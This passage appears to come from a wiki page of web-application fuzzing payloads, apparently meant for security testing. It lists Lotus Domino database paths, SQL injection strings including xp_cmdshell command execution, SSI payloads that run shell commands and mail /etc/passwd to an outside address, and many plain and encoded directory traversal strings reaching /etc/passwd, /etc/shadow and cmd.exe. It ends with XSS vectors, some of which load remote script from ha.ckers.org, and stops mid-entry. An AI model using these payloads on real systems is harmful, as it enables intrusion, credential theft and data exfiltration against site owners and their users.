/reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE 